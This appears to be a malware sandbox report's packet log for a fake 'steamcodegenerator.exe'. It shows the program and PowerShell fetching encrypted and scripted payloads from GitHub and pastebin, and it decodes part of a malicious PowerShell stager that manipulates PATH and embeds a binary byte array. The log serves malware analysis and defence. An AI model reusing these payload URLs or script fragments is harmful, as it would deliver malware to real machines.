Oct 15, 2024 15:59:51.594091892 CEST	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
Oct 15, 2024 15:59:52.218569040 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Oct 2024 13:59:52 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Tue, 15 Oct 2024 14:59:52 GMT Location: https://pastebin.com/raw/sA04Mwk2 Server: cloudflare CF-RAY: 8d305506dedb2cbb-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	185.199.109.133	80	5660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 15:59:53.106467962 CEST	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 15:59:53.728348970 CEST	541	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 13:59:53 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120056-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000794.666717,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 14:04:53 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	172.67.19.24	80	7248	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 15:59:59.908361912 CEST	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
Oct 15, 2024 16:00:00.529232025 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Oct 2024 14:00:00 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Tue, 15 Oct 2024 15:00:00 GMT Location: https://pastebin.com/raw/sA04Mwk2 Server: cloudflare CF-RAY: 8d30553ade9b4763-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	185.199.109.133	80	7248	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 16:00:01.348216057 CEST	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 16:00:02.198314905 CEST	541	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:01 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120039-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000802.891102,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 14:05:01 GMT Vary: Authorization,Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	140.82.121.3	443	7500	C:\Users\user\Desktop\steamcodegenerator.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 13:59:27 UTC	124	OUT	GET /user-attachments/files/17267811/stm.txt HTTP/1.1 User-Agent: Downloader Host: github.com Cache-Control: no-cache
2024-10-15 13:59:27 UTC	940	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 15 Oct 2024 13:59:27 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-repository-file-5c1aeb/867932512/17267811?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20241015%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241015T135927Z&X-Amz-Expires=300&X-Amz-Signature=8a42f0840dba3c62020dad0419913b6620b38691d3ca1b89b59ca471c19fa727&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3Bfilename%3Dstm.txt&response-content-type=text%2Fplain Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
2024-10-15 13:59:27 UTC	4052	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	185.199.109.133	443	7500	C:\Users\user\Desktop\steamcodegenerator.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 13:59:28 UTC	549	OUT	GET /github-production-repository-file-5c1aeb/867932512/17267811?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20241015%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241015T135927Z&X-Amz-Expires=300&X-Amz-Signature=8a42f0840dba3c62020dad0419913b6620b38691d3ca1b89b59ca471c19fa727&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3Bfilename%3Dstm.txt&response-content-type=text%2Fplain HTTP/1.1 User-Agent: Downloader Cache-Control: no-cache Host: objects.githubusercontent.com Connection: Keep-Alive
2024-10-15 13:59:28 UTC	654	IN	HTTP/1.1 200 OK Connection: close Content-Length: 39510 x-amz-id-2: 2yQ2hjkaXDvxiRk3rcYUbcQmpz6nFMYhmpjklQvgJQUZ7HPF7GoL4dKnLWTH17X0VLM2Ls+FV8IYEsqOEeoynn+pEgQuH/LQmd2pAS+mRBE= x-amz-request-id: QHWNM55YC6JSNR9P Last-Modified: Sun, 06 Oct 2024 01:36:28 GMT ETag: "ebe145bd87e74b4bca45e87525372f04" x-amz-server-side-encryption: AES256 Content-Disposition: attachment;filename=stm.txt Content-Type: text/plain Server: AmazonS3 Fastly-Restarts: 1 Accept-Ranges: bytes Age: 432 Date: Tue, 15 Oct 2024 13:59:28 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210095-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000768.176668,VS0,VE0
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: e8 c0 65 00 00 c0 65 00 00 30 67 fb 70 e1 b3 31 b0 2e b5 c0 c2 3e c6 7f 45 9e 24 2a b5 b3 fc 69 87 b4 31 b9 cf fd a7 fc 9b 00 00 00 00 59 44 28 d3 e2 80 68 27 40 df f0 62 05 d0 2d 15 53 21 d4 23 68 7a fa 8d 54 32 e8 58 21 3b 59 73 db 4e a8 6d 30 64 79 44 3b 64 39 ac 78 ac b7 08 b3 ff 58 b7 ae 65 c1 1b 53 f6 f7 5f dd f5 44 26 67 2a 27 5a 47 11 fe 7a 9e 07 29 6f 83 4d b7 28 43 da ee 40 b8 03 9a 38 06 be 48 31 95 be c3 d4 88 c3 8c e6 83 eb d1 53 78 5b 0b 5e 55 04 46 cc 4e 65 38 3b 49 43 10 03 ca e1 a2 2d df d0 bc 35 4f 75 61 fc 05 c6 7c 8a 1d 78 37 54 d1 a2 6d 3f 48 2f 7e e9 c2 7e c6 a3 c5 0b 39 5e d5 b0 85 10 e5 b5 ea 0b 98 71 df 75 26 f9 c0 1f c7 0c 55 25 3d 37 1e ca 5d e1 d3 4a cf bc 71 91 49 70 dc 26 7b b0 34 8d b3 5b ec 0f a5 16 dc b1 f5 bd 60 e3 de 65 Data Ascii: ee0gp1.>E$i1YD(h'@b-S!#hzT2X!;YsNm0dyD;d9xXeS_D&g'ZGz)oM(C@8H1Sx[^UFNe8;IC-5Oua\|x7Tm?H/~~9^qu&U%=7]JqIp&{4[`e
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: 60 3f 3a 33 42 27 66 1c 25 78 e9 6b 72 b1 87 8e a6 23 a3 99 44 fe 86 2c 3f 6a ab 95 b6 36 cb d6 05 89 ee e6 b7 21 c3 f8 da 6a 53 e8 d2 45 86 51 73 a4 a0 78 17 ce 14 9e 7f 05 d4 2e dc 14 bf 4b 26 66 21 2e 10 08 81 ef 86 96 55 fb bb db e9 db 3a c4 77 74 5e 71 bb 43 b7 67 5e 12 2f 00 69 29 31 df c3 51 9d 93 c4 e0 10 4d b5 91 8d 3d e3 c1 38 63 03 0b 3b dc 50 8a f4 f7 7b 8c 3b 94 83 9c fb f3 fb e7 1a 29 f0 3b 23 c4 76 fe 6e 48 2a 55 73 64 1b 63 c7 0f e1 d8 1d 6a a5 9c 6c 27 cd bb 88 2d b1 aa c0 41 8e 1b eb e5 4f ca b7 08 d5 53 0f b2 38 09 26 4e d1 b0 1f 0a a0 32 76 c4 ab 9a cc fb 5b 10 00 05 13 fb 74 61 8c e9 f0 be 5e 92 75 a1 bb 95 41 23 67 fe 3b c2 29 05 9d 9f 46 f9 f2 c1 99 c0 a4 54 1a 34 8d aa b8 db 31 14 57 92 cf d9 55 ab da 66 f8 fc a2 6c 2f 08 3a 6b d5 Data Ascii: `?:3B'f%xkr#D,?j6!jSEQsx.K&f!.U:wt^qCg^/i)1QM=8c;P{;);#vnH*Usdcjl'-AOS8&N2v[ta^uA#g;)FT41WUfl/:k
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: 51 36 53 e6 ca 9d b9 7b 3d a3 3c 6f 0f ac e9 73 bf e1 45 30 cf 78 83 01 ba e5 1d d8 b6 12 48 a2 41 5f 72 23 6b dd a6 f6 3a a0 48 f7 24 94 44 8e 62 1e 7a eb ee 28 a0 47 5e 5d bd de 6f 3d 7a db 7e 4f 7b da 2b 47 81 ed 36 77 59 61 c4 b3 30 3c 3c 50 a1 c5 73 ba 16 32 15 56 bd cf a1 57 8d c5 ea 86 6d 14 d9 f7 3e a5 f9 68 2c f6 09 6d 5e f7 b2 e2 7a cc 02 50 51 f9 a0 db 52 06 dd 0d a0 7d 82 92 e7 f6 1b 25 21 0d 91 eb e4 4e fe 09 c6 ef 5e 0d 29 e0 9f f8 7a b4 d8 79 d8 74 75 d2 e8 38 65 0b 4f 22 58 2f c5 5d a7 23 35 52 89 76 ff e4 d0 d1 62 fc 29 41 2b 47 a1 33 2b 14 26 97 63 7a 5a 37 dc 18 f6 1b a4 8a 05 0f ab fb 51 ac b7 36 83 f1 da e9 57 d1 95 78 ca 20 a8 e1 75 61 67 17 3f e3 00 8d 05 5f 58 aa 0d bd c7 13 e4 8e 96 29 e7 ac c7 48 66 30 b3 de 6f 2e 98 67 65 48 d1 Data Ascii: Q6S{=<osE0xHA_r#k:H$Dbz(G^]o=z~O{+G6wYa0<<Ps2VWm>h,m^zPQR}%!N^)zytu8eO"X/]#5Rvb)A+G3+&czZ7Q6Wx uag?_X)Hf0o.geH
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: 72 c8 89 86 8a ec 93 d4 5b 5b 14 b2 7c ba 8c 56 98 64 eb 7b ea 6e 8d bc e6 6d 7a 53 b4 b7 ce 60 28 87 94 8f c4 55 5b 51 e7 d3 27 14 d4 47 c3 6b cd 49 37 ef 06 21 b7 a3 0b ea 94 d6 81 e8 7a b2 ae ff 36 6c 73 d2 f2 db 78 d1 d1 3a 0a 77 93 59 4b 6f fd 8c e4 51 69 9c 17 bc 5a 6b b1 0a a9 38 d7 c6 33 d2 d1 66 22 05 7a 3d 28 d0 c0 5e 5d cc 50 3d 8d a5 6a 55 8e 9b 9c 94 9c 5e 4e 3c 43 80 07 f5 4a 1a 11 b6 c1 ac b0 e2 3e 7d 83 61 18 bd b7 79 77 8c 40 78 48 b9 d7 47 61 f4 02 03 7c 48 c3 d0 d3 d0 0a 18 8d e7 17 09 7a 36 50 25 3b 20 e1 45 bd 30 15 d4 0b 58 fc 31 67 ff 5e bc dc 7f 47 60 0a 24 40 d6 4c 5d c7 1c 8e 4f 9c 60 4c a3 3f 52 c6 5d b1 e5 ef a3 f5 06 27 86 f9 dc 10 cb 12 9a 77 2d 2d 06 db 15 30 46 9f db 14 b9 3b 7b 3a 02 7e 04 51 79 c2 d3 41 07 53 2f d1 38 34 Data Ascii: r[[\|Vd{nmzS`(U[Q'GkI7!z6lsx:wYKoQiZk83f"z=(^]P=jU^N<CJ>}ayw@xHGa\|Hz6P%; E0X1g^G`$@L]O`L?R]'w--0F;{:~QyAS/84
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: bd 5f 2c ec 9a 58 4d 1f 05 1b 47 94 32 a5 2c 4e fc e2 3c 4a 8d cc f9 63 63 d3 80 64 5e 0f a1 aa f8 ab 1c b2 53 02 11 a3 60 9a ba 3f 7f 53 2f 18 de 69 0d f5 f4 04 2c 9f 55 03 67 1a a1 b4 a1 2a 12 a8 29 c5 e0 50 ac de bb 0e f3 a6 cb 06 a2 bf 31 bb 24 2e 72 6f 4f 35 05 07 e7 b5 ec 6f 7f be 0c 80 26 80 3f db 41 0d 4e 64 6e 8f e8 bd fc 99 a7 28 b9 8c e9 8e ac 22 8e ee 5c 23 28 af 1d 7a 58 25 fb f3 70 99 cb 45 4e cf 56 3b 16 5b 86 cc be 5d 44 57 2c 6b 78 78 6b 07 1a 05 18 9c 6f 63 4f 53 26 5d 12 bc b3 41 ac 74 fb e3 a5 00 94 eb ef 70 ed 76 d8 9a 07 af d1 c1 28 1e 81 42 0b 90 7c 05 ec 3f b0 0d d9 66 53 16 df dd 22 0a 15 0f 37 57 63 f6 a1 38 56 c6 79 84 d0 59 09 7d 96 48 66 05 b0 f6 13 f6 68 da 19 63 70 68 79 a9 30 c0 a8 b0 8e 8a 57 c2 ae a0 86 c3 39 53 60 34 de Data Ascii: _,XMG2,N<Jccd^S`?S/i,Ug*)P1$.roO5o&?ANdn("\#(zX%pENV;[]DW,kxxkocOS&]Atpv(B\|?fS"7Wc8VyY}Hfhcphy0W9S`4
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: 15 c7 3a af 21 d7 01 99 91 92 8b ff ca dd 8b 42 c3 61 4e 62 52 3f e1 8b c7 b4 6d 43 a0 b6 44 e7 0a 25 51 01 49 ae 78 a3 b1 09 ae b9 39 71 cd f1 44 99 95 fd 76 b0 57 56 fc 10 01 18 c9 fe 77 06 38 d7 2e 07 82 19 ff 0e c3 d8 24 14 14 48 2d 21 7a cb 62 1e 2e 8b 66 92 bf dd cd 05 0c f8 ef 4f 1c 2e 2d bc 2f 45 0d 40 c2 2c db 8e 5a de c8 64 af cc cd 65 b0 e6 60 9f a5 d6 57 f3 30 88 be a0 e4 36 d6 1a e1 0a b3 cf 9f 6e 20 56 a7 cd c9 a7 49 96 b3 b2 59 ad 89 0b e2 88 94 a2 20 f5 79 ab 91 b3 cb e1 d3 88 60 54 eb 07 cf 15 3d 22 5d 38 27 3e 21 ac 15 a9 de aa 93 db 13 66 ed 54 c3 4c 01 31 6d ea 13 a2 e4 29 9b 3e db 98 c1 1c 12 0a 9f fc 97 77 3b 65 0d 3e fa 3e e6 ea e7 de 31 68 82 be 76 ee 01 e2 03 fd 9c 3f dd 2f 9f e8 f0 cd 20 b7 1b 82 ea 89 f5 d6 28 c2 77 ed 7b ad b0 Data Ascii: :!BaNbR?mCD%QIx9qDvWVw8.$H-!zb.fO.-/E@,Zde`W06n VIY y`T="]8'>!fTL1m)>w;e>>1hv?/ (w{
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: c0 4c 38 b7 2d 54 80 8f ad 07 ce 6c d7 6d 37 90 d0 2a 77 ab e0 c9 10 9e 68 6e ae 90 f1 6d d4 3a e3 2b 21 9c 6c 18 55 55 38 b8 13 eb 2e fd 17 e4 89 8e c3 93 61 19 cf 2e 1a 40 26 fa 95 f1 92 67 66 c7 94 9a 50 1f dc e9 68 1f d1 c9 54 78 32 53 48 b8 f0 da 9a b9 09 0c 0a 7f 51 71 5b 03 f1 e3 9c a0 28 96 58 00 b5 04 fb c4 cf db 3d aa 55 77 6d b8 b2 39 e0 61 b4 f2 e7 23 6d b1 a8 39 e0 92 3f 7f 2e 00 fc a0 34 46 80 d4 c5 0e 6a fe 5d 24 b2 5b 01 77 65 2d 59 bf 8b fe c3 e3 8e 45 5f da fa 65 98 0e 53 e8 32 d4 bd e8 5d 35 8a d0 ab 07 31 8d c8 3d 48 17 7a 53 d5 c4 4a a0 36 65 32 9b 8e 49 e2 c2 6f 21 65 dd 8d d3 1f 99 7f ef bc ff c1 8f 70 f2 08 bd f8 4e e7 72 48 a7 4f 86 b4 e1 37 d6 45 3a 26 84 da bc 21 b7 63 e7 38 56 65 f6 35 14 31 91 96 58 6c 5d 3d 6e 19 36 19 37 8c Data Ascii: L8-Tlm7*whnm:+!lUU8.a.@&gfPhTx2SHQq[(X=Uwm9a#m9?.4Fj]$[we-YE_eS2]51=HzSJ6e2Io!epNrHO7E:&!c8Ve51Xl]=n67
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: fd 2e 14 48 4e 91 85 d6 25 b1 8b 6c ff ae a7 19 bf 8f 24 f3 7c 6f 87 56 ef 14 22 67 64 d9 c1 69 3d 66 4c bb 88 30 68 60 61 d9 c5 97 d4 0f cd f2 81 05 32 75 00 0d ae 83 4c b4 71 33 6a 26 b3 ff 00 6e 17 c3 f9 e6 5c f5 55 a1 3a 79 e6 8f 27 98 61 31 ef 53 62 7d a1 3c b7 8b f5 d3 f2 c4 2a d9 f1 31 30 62 08 94 1c 69 db 21 91 51 68 8d 0f 45 32 91 aa bc 8d 2b 22 1c 4b fd 81 ab ef c4 bc 69 5b d2 8f c2 56 08 e2 ad 96 db 16 dd ab a1 99 1f c5 01 fb 67 f7 06 f5 67 2a 50 f1 0a 08 19 69 ac a3 b0 36 9e ff 7b e1 23 9e b9 52 a2 d4 66 95 9b 9d e3 3d a4 ce 9b f6 3f 31 8e 04 87 b3 78 bf e3 06 ac 87 2b d8 93 17 d4 86 dd 0e 4d 7e a3 c3 fe 8e 55 c5 48 74 0e c0 ef 64 40 06 e3 42 e4 ab 55 3d 90 08 5e 05 ca ae 2b 7f d2 75 67 62 a7 ee 07 5c ab be 6e c8 4e be 18 8e a0 05 b0 26 22 ab Data Ascii: .HN%l$\|oV"gdi=fL0h`a2uLq3j&n\U:y'a1Sb}<10bi!QhE2+"Ki[VggPi6{#Rf=?1x+M~UHtd@BU=^+ugb\nN&"
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: 7a ee 7b ce 51 f5 c0 f7 20 80 38 29 33 ea 43 4e d2 2c 47 f9 4c d8 bb 7d 76 2d 47 27 ac e1 b5 fb df 59 5d cd b2 6a c1 fd 17 d0 0e b2 81 95 18 a0 76 dd de c4 7e 5c e7 49 db 31 02 a7 3d 0c ca 91 0e b2 78 da 4c fc 0d 0f 6d b2 4b 83 57 b1 8b 4e 03 bd bb 44 67 06 b4 82 09 79 5b f5 ab 76 51 fc 45 3c 56 14 cc a7 14 97 fb ea 2d 95 ab 9b eb d6 92 a3 37 02 7f c7 71 2f e5 ea ee f2 49 87 63 41 93 51 9e ca e1 6d b6 c4 a9 f8 e1 70 7d 31 ac 3c cc 61 a2 9a 66 29 ce f5 9e 38 7d 0b 2f e5 48 be ce 96 a7 e3 51 9a 42 4b db 79 e5 d1 f7 98 15 99 7b 47 31 92 0b 24 ea 77 d7 0a cd 05 f8 03 37 71 38 c2 d0 65 81 1d 11 49 81 25 6c 53 99 5a f7 77 bc 7e 5a f1 e6 e6 ac 13 65 c9 01 cf b8 71 c3 85 3d 35 ab ab 0c e0 b6 3f e1 51 1f b8 67 66 8e 7c bc b3 cc 6f 4d 7d 78 4a 71 f4 06 7f 36 54 45 Data Ascii: z{Q 8)3CN,GL}v-G'Y]jv~\I1=xLmKWNDgy[vQE<V-7q/IcAQmp}1<af)8}/HQBKy{G1$w7q8eI%lSZw~Zeq=5?Qgf\|oM}xJq6TE
2024-10-15 13:59:28 UTC	1378	IN	Data Raw: 3f b7 f1 1b b6 fc ea 5c 6f 96 b3 25 68 2f a7 c1 81 2b 29 52 2c e3 de b2 bb 1a 6e a8 3f c6 e0 09 6a 99 eb b7 74 b8 86 fc 00 e2 b2 31 09 d6 45 4a d5 72 40 5f 88 92 f5 8f b7 ed 65 a0 b8 a6 34 cf cc 94 71 89 87 a2 cf f2 f5 97 18 e8 cf 7f 7c ee 46 d0 50 54 49 1f 33 d7 5b 70 4d 67 2c 1e 64 65 fc 54 6f 93 2d 16 3a 5d f5 7c 23 4c 6d 6e 34 b7 b0 6c 84 60 8e b2 80 f7 e5 fc a7 2a 36 de 11 01 97 81 86 4d 92 80 90 7e 8f de e6 b0 c7 57 21 17 4f e8 ea 9f 18 45 d6 37 25 43 f0 8d 4e 34 31 d4 e2 57 e4 4a e8 01 e0 08 9b dd 3f 59 c3 60 a1 53 d2 6e f4 9a 62 cb df 7a 01 53 c6 20 b5 30 65 8d 7a 84 25 63 ed 40 9a bd 68 53 3c 70 8a 16 73 5e 2f 0c f5 b7 e6 c4 34 d5 23 b3 c7 27 54 6e c9 71 93 88 ff 03 98 c4 c1 1e b5 97 2b c5 b8 fc 4b 45 06 d2 51 a8 fa 50 4f c7 b9 8c 23 5f 69 f1 82 Data Ascii: ?\o%h/+)R,n?jt1EJr@_e4q\|FPTI3[pMg,deTo-:]\|#Lmn4l`*6M~W!OE7%CN41WJ?Y`SnbzS 0ez%c@hS<ps^/4#'Tnq+KEQPO#_i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	185.199.109.133	443	7744	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 13:59:33 UTC	223	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 13:59:34 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7084 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "19c34b01bc0de3420610e902b58491f6f98d61c6733fbdc38504b32046860435" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 9790:3FFFA2:8979E5:95DF38:670E73A3 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 13:59:33 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210083-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000774.865860,VS0,VE89 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: c0fe96e4d6af2b445297b8007de5d4eaad1345f4 Expires: Tue, 15 Oct 2024 14:04:33 GMT Source-Age: 0
2024-10-15 13:59:34 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 23 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 24 65 6e 76 3a 74 6d 70 5c 44 72 69 76 65 72 44 69 61 67 2e 64 6c 6c 22 0a 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 0a 69 66 20 28 2d 4e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 29 29 20 7b 0a 0a 24 63 75 72 72 65 6e 74 50 61 74 68 20 3d 20 5b 53 79 73 74 65 6d 2e 45 6e 76 69 72 6f 6e 6d 65 6e 74 5d 3a 3a 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 28 22 50 41 54 48 22 2c 20 22 55 73 65 72 22 29 0a 24 6e 65 77 50 61 74 68 20 3d 20 24 63 Data Ascii: sleep 5#$googoogaagaa = "$env:tmp\DriverDiag.dll"$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {$currentPath = [System.Environment]::GetEnvironmentVariable("PATH", "User")$newPath = $c
2024-10-15 13:59:34 UTC	1378	IN	Data Raw: 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 2c 34 34 2c 34 32 2c 34 31 2c 38 39 2c 38 2c 31 38 36 2c 34 36 2c 30 2c 30 2c 30 2c 32 34 36 2c 32 35 2c 30 2c 30 2c 30 2c 30 2c 32 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 32 2c 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 34 36 2c 32 33 38 2c 32 38 2c 31 2c 38 37 2c 30 2c 31 30 35 2c 30 2c 31 31 30 2c 30 2c 31 30 30 2c 30 2c 31 31 31 2c 30 2c 31 31 39 2c 30 2c 31 31 35 2c 30 2c 30 2c 30 2c 32 32 2c 30 2c 39 30 2c 30 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 30 2c 33 36 2c 38 39 2c 31 30 34 2c 31 38 33 2c 31 36 2c 30 2c 38 33 2c 31 32 31 2c 31 31 35 2c 31 31 36 2c 31 30 31 2c 31 30 39 2c 35 31 2c 35 30 2c 30 2c 30 2c 36 36 